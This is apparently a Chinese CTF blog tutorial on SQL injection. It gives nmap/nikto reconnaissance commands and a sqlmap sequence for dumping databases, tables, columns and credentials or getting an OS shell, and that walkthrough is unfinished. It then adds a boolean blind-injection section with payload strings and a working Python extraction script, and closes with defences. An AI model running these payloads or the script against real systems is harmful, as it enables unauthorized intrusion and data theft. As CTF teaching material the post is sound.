CTF—SQL注入(get)

本文介绍了SQL注入漏洞的概念,包括其产生的原因,如不当的类型处理和错误处理。通过信息探测、漏洞扫描和利用工具如nmap、nikto、owasp-zap以及sqlmap,展示了如何发现和利用SQL注入漏洞。同时,提到了探测数据库信息和获取敏感数据的方法,强调了SQL注入作为高危漏洞的严重性,并提示了如何检查特定ID是否存在此类漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CTF—WEB—SQL注入

SQL注入漏洞介绍

sql注入攻击指的是构建特殊的输入作为参数传入Web应用程序,而这些输入大都是sql语法里的一些组合,通过执行sql语句而执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统。

sql注入产生的原因,通常表现在:

  1. 不当的类型处理
  2. 不安全的数据库配置
  3. 不合理的查询集处理
  4. 不当的错误处理
  5. 转义字符处理不合适
  6. 多个提交处理不当

信息探测

扫描主机服务信息及服务版本

nmap -sV 靶机ip地址

快速扫描主机全部信息

nmap -T4 -A -v 靶场IP

探测敏感信息

nikto -host http://靶场IP:端口

深入挖掘

分析nmap、nikto的扫描结果,并对结果进行分析,挖掘可以利用的信息

使用浏览器打开http://ip:port/敏感页面,查看敏感信息,找到可以利用的位置

漏洞扫描

web漏洞扫描器——owasp-zap(kali)

漏洞利用

针对web进行漏洞扫描

对扫描的结果进行分析,如果有sql注入漏洞,可以直接利用。毕竟sql注入是高危漏洞,可以直接获取服务器权限。

使用sqlmap利用SQL注入漏洞

sqlmap -u url -dbs

sqlmap -u url -D “数据库名” -tables 查看对应数据库中的数据表

sqlmap -u url -D"数据库名" -T“表名” -columns 查看对应字段

sqlmap -u url -D"数据库名" -T“表名” -C"列名" -dump 查看对应的字段的值

也可以直接尝试sqlmap -u url -os - shell 直接获取shell

探测这个id是否具有sql漏洞:

在这里插入图片描述

查看数据库:
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

获取login和password:
在这里插入图片描述

未完结。。。。

### CTF SQL 布尔盲注 攻防技巧 漏洞利用 示例教程 #### 什么是SQL布尔盲注? SQL布尔盲注是一种通过观察页面返回的不同状态来判断注入条件是否成立的技术。它不依赖于错误消息或时间延迟,而是依据页面逻辑的变化来进行推断。通常情况下,攻击者会向目标应用发送一系列带有不同参数的请求,并根据响应的内容差异逐步还原数据库中的敏感信息。 布尔盲注的核心在于构造能够触发真假分支的查询语句[^2]。例如,在某些场景下,如果注入点允许执行如下形式的SQL片段: ```sql AND (SELECT ASCII(SUBSTRING((SELECT database()),1,1))=X) ``` 那么可以通过调整`X`的值逐一测试字符编码,直到找到使整个表达式为真的情况为止。 #### 如何实现SQL布尔盲注? 以下是几个常见的技术要点以及其实现方法: ##### 1. 判断长度 为了获取字段的具体内容,首先需要知道其总长度。这一步骤可通过不断增大比较数值完成: ```sql ' AND LENGTH(database())>N--+ ``` 其中 `N` 是从零开始递增的一个整数变量。一旦发现某个临界点使得前后端交互行为发生变化,则说明当前尝试接近实际大小[^3]。 ##### 2. 提取单个字节 明确了字符串的整体规模之后,就可以逐位提取组成它的各个组成部分了。下面给出了一种标准模式用于检索指定位置上的ASCII码值: ```sql ' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='yourdb'),M,N))<Z --+ ``` 这里分别代表起始偏移量(`M`)、截取宽度(`N`)还有上限阈值(`Z`)三个重要参数设置选项。通过对这些属性灵活组合运用即可达成最终目的——即重建完整的原始记录条目列表[^4]。 ##### 3. 自动化脚本编写 手动操作效率低下而且容易出错,因此建议开发专用工具辅助分析过程。Python语言因其简洁易懂而成为首选方案之一。以下展示了一个简单的框架结构供参考: ```python import requests url = 'http://example.com/vuln.php?id=' true_str = '<h1>Welcome</h1>' false_str = '' def check(payload): r = requests.get(url + payload) return true_str in r.text and false_str not in r.text length = 0 while True: length += 1 if not check(f"' AND LENGTH(database())={length}--+"): break print(f'Database name has {length-1} characters.') result = '' for i in range(1, length): low, high = 0, 128 while low < high: mid = (low + high) >> 1 if check(f"' AND ASCII(SUBSTR(database(),{i},1))>{mid}--+"): low = mid + 1 else: high = mid result += chr(low) print('Database:', result) ``` 此代码片段展示了如何自动化探测MySQL数据库名称的过程。注意替换相应的URL地址和标志串以适应具体环境需求[^1]。 #### 防御措施 针对上述提到的各种潜在威胁,可以从以下几个方面加强防护力度: - **输入验证**: 对所有外部提交的数据进行全面校验,拒绝不符合预期格式的内容进入后续处理流程。 - **最小权限原则**: 确保应用程序运行账户仅具备必要的访问权利,从而减少可能造成的损害范围。 - **预编译语句**: 使用ORM或者PreparedStatement等方式构建SQL指令,有效规避动态拼接带来的风险隐患。 - **日志审计**: 定期审查服务器活动历史记录,及时察觉异常状况并采取相应补救行动。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值